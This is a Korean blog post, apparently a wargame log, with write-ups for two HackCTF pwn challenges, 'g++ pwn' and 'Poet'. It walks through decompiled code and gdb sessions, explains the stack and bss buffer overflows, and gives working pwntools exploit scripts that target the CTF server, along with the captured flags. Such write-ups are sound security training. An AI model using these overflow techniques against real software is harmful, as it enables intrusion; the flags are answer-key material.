[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 있음

 

바이너리 실행

  • 사용자로부터 입력받음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}
  • vuln 함수 호출

 

IDA 분석 - vuln 함수

int vuln()
{
  const char *v0; // eax@1
  char s; // [esp+1Ch] [ebp-3Ch]@1
  char v3; // [esp+3Ch] [ebp-1Ch]@1
  char v4; // [esp+40h] [ebp-18h]@1
  char v5; // [esp+47h] [ebp-11h]@1
  char v6; // [esp+48h] [ebp-10h]@1
  char v7; // [esp+4Fh] [ebp-9h]@1

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator(&v5);
  std::string::string(&v4, "you", &v5);
  std::allocator<char>::allocator(&v7);
  std::string::string(&v6, "I", &v7);
  replace((std::string *)&v3);
  std::string::operator=(&input, &v3, &v6, &v4);
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v0);
  return printf("So, %s\\n", &s);
}
  • 사용자의 입력을 받아 출력
  • I와 you 사이에서 replace 함수를 호출함
  • 입력 값이 I면 you로 치환

  • fgets 함수로 사용자의 입력을 32byte 만큼 받아 BOF 발생X
  • 그러나 I가 you로 치환되는 점을 생각하면 BOF를 발생시킬 수 있음 → I만 12번 입력하면 you x 12으로 36 byte 입력되며 BOF를 발생시키지만 사용자는 추가로 10byte만큼 더 입력할 수 있음

 

IDA 분석 - replace 함수

std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3)
{
  int v4; // [esp+Ch] [ebp-4Ch]@0
  char v5; // [esp+10h] [ebp-48h]@2
  char v6; // [esp+14h] [ebp-44h]@2
  char v7; // [esp+1Bh] [ebp-3Dh]@2
  int v8; // [esp+1Ch] [ebp-3Ch]@2
  char v9; // [esp+20h] [ebp-38h]@2
  int v10; // [esp+24h] [ebp-34h]@2
  int v11; // [esp+28h] [ebp-30h]@2
  char v12; // [esp+2Fh] [ebp-29h]@2
  int v13; // [esp+30h] [ebp-28h]@2
  int v14; // [esp+34h] [ebp-24h]@2
  char v15; // [esp+38h] [ebp-20h]@2
  int v16; // [esp+3Ch] [ebp-1Ch]@2
  char v17; // [esp+40h] [ebp-18h]@2
  int v18; // [esp+44h] [ebp-14h]@2
  char v19; // [esp+48h] [ebp-10h]@2
  char v20; // [esp+4Ch] [ebp-Ch]@2

  while ( std::string::find(a2, a3, 0) != -1 )
  {
    std::allocator<char>::allocator(&v7);
    v8 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)&v9);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10);
    std::string::begin((std::string *)&v11);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v6, v11, v10, &v7);
    std::allocator<char>::~allocator(&v7);
    std::allocator<char>::allocator(&v12);
    std::string::end((std::string *)&v13);
    v14 = std::string::length(a3);
    v16 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)&v17);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v15);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v18);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v5, v18, v13, &v12);
    std::allocator<char>::~allocator(&v12);
    std::operator+<char,std::char_traits<char>,std::allocator<char>>((std::string *)&v20);
    std::operator+<char,std::char_traits<char>,std::allocator<char>>((std::string *)&v19);
    std::string::operator=(a2, &v19, &v5, v4);
    std::string::~string((std::string *)&v19);
    std::string::~string((std::string *)&v20);
    std::string::~string((std::string *)&v5);
    std::string::~string((std::string *)&v6);
  }
  std::string::string(a1, a2);
  return a1;
}

 

IDA 분석 - get_flag 함수

int get_flag()
{
  return system("cat flag.txt");
}
  • flag 획득할 수 있음

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048e10  _start
0x08048e40  __x86.get_pc_thunk.bx
0x08048e50  deregister_tm_clones
0x08048e80  register_tm_clones
0x08048ec0  __do_global_dtors_aux
0x08048ee0  frame_dummy
0x08048f0d  get_flag
0x08048f21  replace
0x080491af  vuln
0x0804932d  main
  • main: 0x0804932d
  • vuln offset: 0x080491af
  • replace offset: 0x08048f21
  • get_flag offset: 0x08048f0d

 

gdb 분석 - select_func 함수

pwndbg> disass vuln
Dump of assembler code for function vuln:
   0x080491af <+0>:	push   ebp
   0x080491b0 <+1>:	mov    ebp,esp
   0x080491b2 <+3>:	push   ebx
   0x080491b3 <+4>:	sub    esp,0x54
   0x080491b6 <+7>:	mov    DWORD PTR [esp],0x8049800
   0x080491bd <+14>:	call   0x8048d20 <printf@plt>
   0x080491c2 <+19>:	mov    eax,ds:0x804b0a4
   0x080491c7 <+24>:	mov    DWORD PTR [esp+0x8],eax
   0x080491cb <+28>:	mov    DWORD PTR [esp+0x4],0x20
   0x080491d3 <+36>:	lea    eax,[ebp-0x3c]
   0x080491d6 <+39>:	mov    DWORD PTR [esp],eax
   0x080491d9 <+42>:	call   0x8048c70 <fgets@plt>
   0x080491de <+47>:	lea    eax,[ebp-0x3c]
   0x080491e1 <+50>:	mov    DWORD PTR [esp+0x4],eax
   0x080491e5 <+54>:	mov    DWORD PTR [esp],0x804b0ac
   0x080491ec <+61>:	call   0x8048bd0 <_ZNSsaSEPKc@plt>
   0x080491f1 <+66>:	lea    eax,[ebp-0x11]
   0x080491f4 <+69>:	mov    DWORD PTR [esp],eax
   0x080491f7 <+72>:	call   0x8048d90 <_ZNSaIcEC1Ev@plt>
   0x080491fc <+77>:	lea    eax,[ebp-0x11]
   0x080491ff <+80>:	mov    DWORD PTR [esp+0x8],eax
   0x08049203 <+84>:	mov    DWORD PTR [esp+0x4],0x8049823
   0x0804920b <+92>:	lea    eax,[ebp-0x18]
   0x0804920e <+95>:	mov    DWORD PTR [esp],eax
   0x08049211 <+98>:	call   0x8048d00 <_ZNSsC1EPKcRKSaIcE@plt>
   0x08049216 <+103>:	lea    eax,[ebp-0x9]
   0x08049219 <+106>:	mov    DWORD PTR [esp],eax
   0x0804921c <+109>:	call   0x8048d90 <_ZNSaIcEC1Ev@plt>
   0x08049221 <+114>:	lea    eax,[ebp-0x9]
   0x08049224 <+117>:	mov    DWORD PTR [esp+0x8],eax
   0x08049228 <+121>:	mov    DWORD PTR [esp+0x4],0x8049827
   0x08049230 <+129>:	lea    eax,[ebp-0x10]
   0x08049233 <+132>:	mov    DWORD PTR [esp],eax
   0x08049236 <+135>:	call   0x8048d00 <_ZNSsC1EPKcRKSaIcE@plt>
   0x0804923b <+140>:	lea    eax,[ebp-0x1c]
   0x0804923e <+143>:	lea    edx,[ebp-0x18]
   0x08049241 <+146>:	mov    DWORD PTR [esp+0xc],edx
   0x08049245 <+150>:	lea    edx,[ebp-0x10]
   0x08049248 <+153>:	mov    DWORD PTR [esp+0x8],edx
   0x0804924c <+157>:	mov    DWORD PTR [esp+0x4],0x804b0ac
   0x08049254 <+165>:	mov    DWORD PTR [esp],eax
   0x08049257 <+168>:	call   0x8048f21 <replace>
   0x0804925c <+173>:	sub    esp,0x4
   0x0804925f <+176>:	lea    eax,[ebp-0x1c]
   0x08049262 <+179>:	mov    DWORD PTR [esp+0x4],eax
   0x08049266 <+183>:	mov    DWORD PTR [esp],0x804b0ac
   0x0804926d <+190>:	call   0x8048df0 <_ZNSsaSERKSs@plt>
   0x08049272 <+195>:	lea    eax,[ebp-0x1c]
   0x08049275 <+198>:	mov    DWORD PTR [esp],eax
   0x08049278 <+201>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x0804927d <+206>:	lea    eax,[ebp-0x10]
   0x08049280 <+209>:	mov    DWORD PTR [esp],eax
   0x08049283 <+212>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x08049288 <+217>:	lea    eax,[ebp-0x9]
   0x0804928b <+220>:	mov    DWORD PTR [esp],eax
   0x0804928e <+223>:	call   0x8048d40 <_ZNSaIcED1Ev@plt>
   0x08049293 <+228>:	lea    eax,[ebp-0x18]
   0x08049296 <+231>:	mov    DWORD PTR [esp],eax
   0x08049299 <+234>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x0804929e <+239>:	lea    eax,[ebp-0x11]
   0x080492a1 <+242>:	mov    DWORD PTR [esp],eax
   0x080492a4 <+245>:	call   0x8048d40 <_ZNSaIcED1Ev@plt>
   0x080492a9 <+250>:	mov    DWORD PTR [esp],0x804b0ac
   0x080492b0 <+257>:	call   0x8048c10 <_ZNKSs5c_strEv@plt>
   0x080492b5 <+262>:	mov    DWORD PTR [esp+0x4],eax
   0x080492b9 <+266>:	lea    eax,[ebp-0x3c]
   0x080492bc <+269>:	mov    DWORD PTR [esp],eax
   0x080492bf <+272>:	call   0x8048d10 <strcpy@plt>
   0x080492c4 <+277>:	lea    eax,[ebp-0x3c]
   0x080492c7 <+280>:	mov    DWORD PTR [esp+0x4],eax
   0x080492cb <+284>:	mov    DWORD PTR [esp],0x8049829
   0x080492d2 <+291>:	call   0x8048d20 <printf@plt>
   0x080492d7 <+296>:	jmp    0x8049328 <vuln+377>
   0x080492d9 <+298>:	mov    ebx,eax
   0x080492db <+300>:	lea    eax,[ebp-0x1c]
   0x080492de <+303>:	mov    DWORD PTR [esp],eax
   0x080492e1 <+306>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x080492e6 <+311>:	jmp    0x80492ea <vuln+315>
   0x080492e8 <+313>:	mov    ebx,eax
   0x080492ea <+315>:	lea    eax,[ebp-0x10]
   0x080492ed <+318>:	mov    DWORD PTR [esp],eax
   0x080492f0 <+321>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x080492f5 <+326>:	jmp    0x80492f9 <vuln+330>
   0x080492f7 <+328>:	mov    ebx,eax
   0x080492f9 <+330>:	lea    eax,[ebp-0x9]
   0x080492fc <+333>:	mov    DWORD PTR [esp],eax
   0x080492ff <+336>:	call   0x8048d40 <_ZNSaIcED1Ev@plt>
   0x08049304 <+341>:	lea    eax,[ebp-0x18]
   0x08049307 <+344>:	mov    DWORD PTR [esp],eax
   0x0804930a <+347>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x0804930f <+352>:	jmp    0x8049313 <vuln+356>
   0x08049311 <+354>:	mov    ebx,eax
   0x08049313 <+356>:	lea    eax,[ebp-0x11]
   0x08049316 <+359>:	mov    DWORD PTR [esp],eax
   0x08049319 <+362>:	call   0x8048d40 <_ZNSaIcED1Ev@plt>
   0x0804931e <+367>:	mov    eax,ebx
   0x08049320 <+369>:	mov    DWORD PTR [esp],eax
   0x08049323 <+372>:	call   0x8048dd0 <_Unwind_Resume@plt>
   0x08049328 <+377>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x0804932b <+380>:	leave  
   0x0804932c <+381>:	ret    
End of assembler dump.
  • vuln+42 부분에서 사용자의 입력을 받음
  • vuln+42에 bp 걸어 임의의 입력 값 입력

  • 사용자의 입력은 0xffffd00c에 저장

  • 0xffffd04c에서 main+11 발견
  • 사용자의 입력~0xffffd04c까지의 offset = 64(0x40)

 

문제 해결

💡 dummy(64) + get_flag_Address
  • I * 20 → you * 20 → 60byte입력/추가 4byte만큼 dummy 입력
    I(20byte) + dummy(4byte) + get_flag(4byte)

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3011)
e = ELF("./gpwn")
get_flag = e.symbols['get_flag']

payload = "I" *20
payload += "A" *4
payload += p32(get_flag)

#p.recvuntil(": ") 문자열 받는 데에 시간이 걸려서 주석처리 해줘야함
p.sendline(payload)
p.interactive()


flag

🍒  HackCTF{It's_e4si3r_th4n_y0u_th1nk!}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Yes or no  (0) 2022.10.30
[HackCTF] RTL_World  (0) 2022.10.30
[HackCTF] Poet  (0) 2022.10.30
[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30

[문제]


[풀이]

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • Enter 이후에 사용자의 입력을 받고, 저자가 누구인지 물어보면서 추가적인 입력을 받고 있음
  • 1,000,000점을 획득하지 않으면 다시 시도하라는 문구와 함께 반복적으로 입력하도록 함

 

IDA 분석 - main 함수

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi@1

  setvbuf(_bss_start, 0LL, 2, 0LL);
  v3 = "\\n"
       "**********************************************************\\n"
			 "*     우리는 2018년의 시인(poet)을 찾고 있습니다.        *\\n"
			 "*  플래그상을 받고 싶다면 지금 한 줄의 시를 쓰세요!      *\\n"
       "**********************************************************\\n";
  puts(
       "\\n"
       "**********************************************************\\n"
			 "*     우리는 2018년의 시인(poet)을 찾고 있습니다.        *\\n"
			 "*  플래그상을 받고 싶다면 지금 한 줄의 시를 쓰세요!      *\\n"
       "**********************************************************\\n");
  puts();
  while ( 1 )
  {
    get_poem(v3, 0LL);
    get_author(v3);
    rate_poem(v3);
    if ( dword_6024E0 == 1000000 )
      break;
    v3 = "\\n"
         "음...이 시로는 충분하지가 않습니다.\\n"
				 "정확히 1,000,000 점을 획득해야만 됩니다.\\n"
				 "다시 시도해주세요!\\n"
         "+---------------------------------------------------------------------------+\\n";
    puts(
		     "\\n"
         "음...이 시로는 충분하지가 않습니다.\\n"
				 "정확히 1,000,000 점을 획득해야만 됩니다.\\n"
				 "다시 시도해주세요!\\n"
         "+---------------------------------------------------------------------------+\\n");
  }
  reward(v3);
}
  • get_poem, get_author, rate_poem 함수를 무한 루프로 호출
  • 점수가 1000000일 경우 루프 탈출과 함께 reward 함수 호출

 

IDA 분석 - reward 함수

void __noreturn reward()
{
  char s; // [rsp+0h] [rbp-90h]@1
  FILE *stream; // [rsp+88h] [rbp-8h]@1

  stream = fopen("./flag.txt", "r");
  fgets(&s, 128, stream);
  printf(
    "\\n"
    "축하합니다!\\n"
    "\\n"
    "시 내용\\n"
    "%.64s\\n"
    "\\n"
    "2018년 시인 상을 받았습니다!!\\n"
    "\\n"
    "보상:\\n"
    "%s\\n"
    "+---------------------------------------------------------------------------+\\n"
    "\\n",
    &unk_6024A0,
    &s);
  exit(0);
}
  • flag 획득 가능

 

IDA 분석 - rate_poem 함수

int rate_poem()
{
  char dest; // [rsp+0h] [rbp-410h]@1
  char *s1; // [rsp+408h] [rbp-8h]@1

  strcpy(&dest, poem);
  for ( s1 = strtok(&dest, " \\n"); s1; s1 = strtok(0LL, " \\n") )
  {
    if ( !strcmp(s1, "ESPR")
      || !strcmp(s1, "eat")
      || !strcmp(s1, "sleep")
      || !strcmp(s1, "pwn")
      || !strcmp(s1, "repeat")
      || !strcmp(s1, "CTF")
      || !strcmp(s1, "capture")
      || !strcmp(s1, "flag") )
    {
      dword_6024E0 += 100;
    }
  }
  return printf(
           "\\n"
           "+---------------------------------------------------------------------------+\\n"
           "시 내용\\n"
           "%.1024s\\n"
           "점수:%d\\n",
           poem,
           (unsigned int)dword_6024E0);
}
  • get_poem에서 입력 받은 값을 dest에 복사하여 s1로 받음
  • 사용자의 입력 값에 ESPR, eat, sleep, pwn, repeat, CTF, capture, flag가 있으면 100점씩 부여

 

IDA 분석 - get_poem 함수

__int64 get_poem()
{
  __int64 result; // rax@1

  printf("Enter :\\n> ");
  result = gets(poem);
  dword_6024E0 = 0;
  return result;
}
  • gets 함수로 사용자의 입력을 받아 poem에 저장 → BOF 발생
    • result로 입력 값을 받아 return

 

IDA 분석 - get_author 함수

__int64 get_author()
{
  printf("이 시의 저자는 누구입니까?\\n> ");
  return gets(&unk_6024A0);
}
  • 저자에 대한 입력을 gets 함수로 받아 return → BOF 발생

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000400600  _init
0x0000000000400630  strcpy@plt
0x0000000000400640  puts@plt
0x0000000000400650  printf@plt
0x0000000000400660  __libc_start_main@plt
0x0000000000400670  fgets@plt
0x0000000000400680  strcmp@plt
0x0000000000400690  gets@plt
0x00000000004006a0  setvbuf@plt
0x00000000004006b0  fopen@plt
0x00000000004006c0  strtok@plt
0x00000000004006d0  exit@plt
0x00000000004006e0  __gmon_start__@plt
0x00000000004006f0  _start
0x0000000000400720  deregister_tm_clones
0x0000000000400760  register_tm_clones
0x00000000004007a0  __do_global_dtors_aux
0x00000000004007c0  frame_dummy
0x00000000004007e6  reward
0x0000000000400844  rate_poem
0x0000000000400978  get_poem
0x00000000004009a7  get_author
0x00000000004009cc  main
0x0000000000400a50  __libc_csu_init
0x0000000000400ac0  __libc_csu_fini
0x0000000000400ac4  _fini
  • main: 0x4009cc
  • reward: 0x4007e6
  • rate_poem: 0x400844
  • get_poem: 0x400978
  • get_author: 0x4009a7

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004009cc <+0>:	push   rbp
   0x00000000004009cd <+1>:	mov    rbp,rsp
   0x00000000004009d0 <+4>:	sub    rsp,0x10
   0x00000000004009d4 <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x00000000004009d7 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x00000000004009db <+15>:	mov    rax,QWORD PTR [rip+0x20169e]        # 0x602080 <stdout@@GLIBC_2.2.5>
   0x00000000004009e2 <+22>:	mov    ecx,0x0
   0x00000000004009e7 <+27>:	mov    edx,0x2
   0x00000000004009ec <+32>:	mov    esi,0x0
   0x00000000004009f1 <+37>:	mov    rdi,rax
   0x00000000004009f4 <+40>:	call   0x4006a0 <setvbuf@plt>
   0x00000000004009f9 <+45>:	mov    edi,0x400c68
   0x00000000004009fe <+50>:	call   0x400640 <puts@plt>
   0x0000000000400a03 <+55>:	mov    eax,0x0
   0x0000000000400a08 <+60>:	call   0x400978 <get_poem>
   0x0000000000400a0d <+65>:	mov    eax,0x0
   0x0000000000400a12 <+70>:	call   0x4009a7 <get_author>
   0x0000000000400a17 <+75>:	mov    eax,0x0
   0x0000000000400a1c <+80>:	call   0x400844 <rate_poem>
   0x0000000000400a21 <+85>:	mov    eax,DWORD PTR [rip+0x201ab9]        # 0x6024e0 <poem+1088>
   0x0000000000400a27 <+91>:	cmp    eax,0xf4240
   0x0000000000400a2c <+96>:	jne    0x400a3a <main+110>
   0x0000000000400a2e <+98>:	mov    eax,0x0
   0x0000000000400a33 <+103>:	call   0x4007e6 <reward>
   0x0000000000400a38 <+108>:	jmp    0x400a03 <main+55>
   0x0000000000400a3a <+110>:	mov    edi,0x400d78
   0x0000000000400a3f <+115>:	call   0x400640 <puts@plt>
   0x0000000000400a44 <+120>:	jmp    0x400a03 <main+55>
End of assembler dump.

gdb 분석 - rate_poem 함수

pwndbg> disass rate_poem
Dump of assembler code for function rate_poem:
   0x0000000000400844 <+0>:	push   rbp
   0x0000000000400845 <+1>:	mov    rbp,rsp
   0x0000000000400848 <+4>:	sub    rsp,0x410
   0x000000000040084f <+11>:	lea    rax,[rbp-0x410]
   0x0000000000400856 <+18>:	mov    esi,0x6020a0
   0x000000000040085b <+23>:	mov    rdi,rax
   0x000000000040085e <+26>:	call   0x400630 <strcpy@plt>
   0x0000000000400863 <+31>:	lea    rax,[rbp-0x410]
   0x000000000040086a <+38>:	mov    esi,0x400b91
   0x000000000040086f <+43>:	mov    rdi,rax
   0x0000000000400872 <+46>:	call   0x4006c0 <strtok@plt>
   0x0000000000400877 <+51>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040087b <+55>:	jmp    0x40094e <rate_poem+266>
   0x0000000000400880 <+60>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400884 <+64>:	mov    esi,0x400b94
   0x0000000000400889 <+69>:	mov    rdi,rax
   0x000000000040088c <+72>:	call   0x400680 <strcmp@plt>
   0x0000000000400891 <+77>:	test   eax,eax
   0x0000000000400893 <+79>:	je     0x40092c <rate_poem+232>
   0x0000000000400899 <+85>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040089d <+89>:	mov    esi,0x400b99
   0x00000000004008a2 <+94>:	mov    rdi,rax
   0x00000000004008a5 <+97>:	call   0x400680 <strcmp@plt>
   0x00000000004008aa <+102>:	test   eax,eax
   0x00000000004008ac <+104>:	je     0x40092c <rate_poem+232>
   0x00000000004008ae <+106>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008b2 <+110>:	mov    esi,0x400b9d
   0x00000000004008b7 <+115>:	mov    rdi,rax
   0x00000000004008ba <+118>:	call   0x400680 <strcmp@plt>
   0x00000000004008bf <+123>:	test   eax,eax
   0x00000000004008c1 <+125>:	je     0x40092c <rate_poem+232>
   0x00000000004008c3 <+127>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008c7 <+131>:	mov    esi,0x400ba3
   0x00000000004008cc <+136>:	mov    rdi,rax
   0x00000000004008cf <+139>:	call   0x400680 <strcmp@plt>
   0x00000000004008d4 <+144>:	test   eax,eax
   0x00000000004008d6 <+146>:	je     0x40092c <rate_poem+232>
   0x00000000004008d8 <+148>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008dc <+152>:	mov    esi,0x400ba7
   0x00000000004008e1 <+157>:	mov    rdi,rax
   0x00000000004008e4 <+160>:	call   0x400680 <strcmp@plt>
   0x00000000004008e9 <+165>:	test   eax,eax
   0x00000000004008eb <+167>:	je     0x40092c <rate_poem+232>
   0x00000000004008ed <+169>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008f1 <+173>:	mov    esi,0x400bae
   0x00000000004008f6 <+178>:	mov    rdi,rax
   0x00000000004008f9 <+181>:	call   0x400680 <strcmp@plt>
   0x00000000004008fe <+186>:	test   eax,eax
   0x0000000000400900 <+188>:	je     0x40092c <rate_poem+232>
   0x0000000000400902 <+190>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400906 <+194>:	mov    esi,0x400bb2
   0x000000000040090b <+199>:	mov    rdi,rax
   0x000000000040090e <+202>:	call   0x400680 <strcmp@plt>
   0x0000000000400913 <+207>:	test   eax,eax
   0x0000000000400915 <+209>:	je     0x40092c <rate_poem+232>
   0x0000000000400917 <+211>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040091b <+215>:	mov    esi,0x400bba
   0x0000000000400920 <+220>:	mov    rdi,rax
   0x0000000000400923 <+223>:	call   0x400680 <strcmp@plt>
   0x0000000000400928 <+228>:	test   eax,eax
   0x000000000040092a <+230>:	jne    0x40093b <rate_poem+247>
   0x000000000040092c <+232>:	mov    eax,DWORD PTR [rip+0x201bae]        # 0x6024e0 <poem+1088>
   0x0000000000400932 <+238>:	add    eax,0x64
   0x0000000000400935 <+241>:	mov    DWORD PTR [rip+0x201ba5],eax        # 0x6024e0 <poem+1088>
   0x000000000040093b <+247>:	mov    esi,0x400b91
   0x0000000000400940 <+252>:	mov    edi,0x0
   0x0000000000400945 <+257>:	call   0x4006c0 <strtok@plt>
   0x000000000040094a <+262>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040094e <+266>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000400953 <+271>:	jne    0x400880 <rate_poem+60>
   0x0000000000400959 <+277>:	mov    eax,DWORD PTR [rip+0x201b81]        # 0x6024e0 <poem+1088>
   0x000000000040095f <+283>:	mov    edx,eax
   0x0000000000400961 <+285>:	mov    esi,0x6020a0
   0x0000000000400966 <+290>:	mov    edi,0x400bc0
   0x000000000040096b <+295>:	mov    eax,0x0
   0x0000000000400970 <+300>:	call   0x400650 <printf@plt>
   0x0000000000400975 <+305>:	nop
   0x0000000000400976 <+306>:	leave  
   0x0000000000400977 <+307>:	ret    
End of assembler dump.
  • rate_poem+238에서 eax에 0x64(100)을 더하는 것으로 보아 점수를 측정하는 부분임을 알 수 있음
  • 해당 값은 rate_poem+241을 통해 rip+0x201ba5에 저장됨
  • rate_poem+241에 bp 건 후, 시: flag, 저자: aaaa 입력하여 메모리 확인

  • poem이라는 전역변수로 할당된 bss 영역에 저장됨을 확인
  • 시, 저자 부분도 해당 영역에 저장될 것이라 추측
  • poem 첫 시작 부분 찾아 확인
pwndbg> x/140gx 0x6020a0
0x6020a0 <poem>:	0x0000000067616c66	0x0000000000000000
0x6020b0 <poem+16>:	0x0000000000000000	0x0000000000000000
0x6020c0 <poem+32>:	0x0000000000000000	0x0000000000000000
0x6020d0 <poem+48>:	0x0000000000000000	0x0000000000000000
0x6020e0 <poem+64>:	0x0000000000000000	0x0000000000000000
0x6020f0 <poem+80>:	0x0000000000000000	0x0000000000000000
0x602100 <poem+96>:	0x0000000000000000	0x0000000000000000
0x602110 <poem+112>:	0x0000000000000000	0x0000000000000000
0x602120 <poem+128>:	0x0000000000000000	0x0000000000000000
0x602130 <poem+144>:	0x0000000000000000	0x0000000000000000
0x602140 <poem+160>:	0x0000000000000000	0x0000000000000000
0x602150 <poem+176>:	0x0000000000000000	0x0000000000000000
0x602160 <poem+192>:	0x0000000000000000	0x0000000000000000
0x602170 <poem+208>:	0x0000000000000000	0x0000000000000000
0x602180 <poem+224>:	0x0000000000000000	0x0000000000000000
0x602190 <poem+240>:	0x0000000000000000	0x0000000000000000
0x6021a0 <poem+256>:	0x0000000000000000	0x0000000000000000
0x6021b0 <poem+272>:	0x0000000000000000	0x0000000000000000
0x6021c0 <poem+288>:	0x0000000000000000	0x0000000000000000
0x6021d0 <poem+304>:	0x0000000000000000	0x0000000000000000
0x6021e0 <poem+320>:	0x0000000000000000	0x0000000000000000
0x6021f0 <poem+336>:	0x0000000000000000	0x0000000000000000
0x602200 <poem+352>:	0x0000000000000000	0x0000000000000000
0x602210 <poem+368>:	0x0000000000000000	0x0000000000000000
0x602220 <poem+384>:	0x0000000000000000	0x0000000000000000
0x602230 <poem+400>:	0x0000000000000000	0x0000000000000000
0x602240 <poem+416>:	0x0000000000000000	0x0000000000000000
0x602250 <poem+432>:	0x0000000000000000	0x0000000000000000
0x602260 <poem+448>:	0x0000000000000000	0x0000000000000000
0x602270 <poem+464>:	0x0000000000000000	0x0000000000000000
0x602280 <poem+480>:	0x0000000000000000	0x0000000000000000
0x602290 <poem+496>:	0x0000000000000000	0x0000000000000000
0x6022a0 <poem+512>:	0x0000000000000000	0x0000000000000000
0x6022b0 <poem+528>:	0x0000000000000000	0x0000000000000000
0x6022c0 <poem+544>:	0x0000000000000000	0x0000000000000000
0x6022d0 <poem+560>:	0x0000000000000000	0x0000000000000000
0x6022e0 <poem+576>:	0x0000000000000000	0x0000000000000000
0x6022f0 <poem+592>:	0x0000000000000000	0x0000000000000000
0x602300 <poem+608>:	0x0000000000000000	0x0000000000000000
0x602310 <poem+624>:	0x0000000000000000	0x0000000000000000
0x602320 <poem+640>:	0x0000000000000000	0x0000000000000000
0x602330 <poem+656>:	0x0000000000000000	0x0000000000000000
0x602340 <poem+672>:	0x0000000000000000	0x0000000000000000
0x602350 <poem+688>:	0x0000000000000000	0x0000000000000000
0x602360 <poem+704>:	0x0000000000000000	0x0000000000000000
0x602370 <poem+720>:	0x0000000000000000	0x0000000000000000
0x602380 <poem+736>:	0x0000000000000000	0x0000000000000000
0x602390 <poem+752>:	0x0000000000000000	0x0000000000000000
0x6023a0 <poem+768>:	0x0000000000000000	0x0000000000000000
0x6023b0 <poem+784>:	0x0000000000000000	0x0000000000000000
0x6023c0 <poem+800>:	0x0000000000000000	0x0000000000000000
0x6023d0 <poem+816>:	0x0000000000000000	0x0000000000000000
0x6023e0 <poem+832>:	0x0000000000000000	0x0000000000000000
0x6023f0 <poem+848>:	0x0000000000000000	0x0000000000000000
0x602400 <poem+864>:	0x0000000000000000	0x0000000000000000
0x602410 <poem+880>:	0x0000000000000000	0x0000000000000000
0x602420 <poem+896>:	0x0000000000000000	0x0000000000000000
0x602430 <poem+912>:	0x0000000000000000	0x0000000000000000
0x602440 <poem+928>:	0x0000000000000000	0x0000000000000000
0x602450 <poem+944>:	0x0000000000000000	0x0000000000000000
0x602460 <poem+960>:	0x0000000000000000	0x0000000000000000
0x602470 <poem+976>:	0x0000000000000000	0x0000000000000000
0x602480 <poem+992>:	0x0000000000000000	0x0000000000000000
0x602490 <poem+1008>:	0x0000000000000000	0x0000000000000000
0x6024a0 <poem+1024>:	0x0000000061616161	0x0000000000000000
0x6024b0 <poem+1040>:	0x0000000000000000	0x0000000000000000
0x6024c0 <poem+1056>:	0x0000000000000000	0x0000000000000000
0x6024d0 <poem+1072>:	0x0000000000000000	0x0000000000000000
0x6024e0 <poem+1088>:	0x0000000000000064	0x0000000000000000
0x6024f0:	0x0000000000000000	0x0000000000000000
  • 0x6020a0(poem)에 시 내용 저장
  • 0x6024a0(poem+1024)에 저자 내용 저장
  • 0x6024e0(poem+1088)에 반영된 점수 저장

 

문제 해결

💡 poem_dummy(0~1016)+ author_dummy(64)+1000000
  • 시와 저자를 입력하는 부분은 모두 BOF를 발생시킬 수 있음
  • 시는 아무 값이나 입력하고, 저자를 입력 받는 부분에서 BOF를 발생시켜 점수 값을 1000000으로 조작 시, flag 획득 가능
  • 저자(0x6024a0)~점수(0x6024e0)까지의 offset = 0x40(64)

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3012)
e = ELF("./poet")

payload = "a" *4 //시 내용은 입력하지 않아도 exploit 할 수 있음
p.recvuntil("> ")
p.sendline(payload)

payload1= "b"*64+p64(1000000)
p.recvuntil("> ")
p.sendline(payload1)

p.interactive()


flag

🍒 HackCTF{0neSTEP_jun10rCTF}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] RTL_World  (0) 2022.10.30
[HackCTF] g++ pwn  (0) 2022.10.30
